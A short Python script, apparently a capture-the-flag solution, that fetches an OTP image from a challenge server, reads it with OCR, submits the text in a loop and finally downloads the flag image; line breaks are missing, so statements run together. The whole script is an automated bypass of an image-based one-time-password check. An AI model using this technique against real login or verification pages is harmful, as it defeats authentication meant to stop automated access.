```
import requestsimport cv2import pytesseractfrom PIL import Image, ImageEnhance, ImageFilter
s = requests.Session()contador = 0while True:    r = s.get('http://challenge.ctf.games:30753/static/otp.png')    file = open(str(contador) + ".png", "wb")    file.write(r.content)    file.close()    image = cv2.imread(str(contador) + ".png")    data = pytesseract.image_to_string(image).split('\n')[0]    payload = {'otp_entry':data}    print(payload)    r = s.post('http://challenge.ctf.games:30753/', data=payload)    contador = contador + 1    print(r.text)    if contador == 45:        t = s.get('http://challenge.ctf.games:30753/static/flag.png')        file = open("flag.png", "wb")        file.write(t.content)        file.close()```
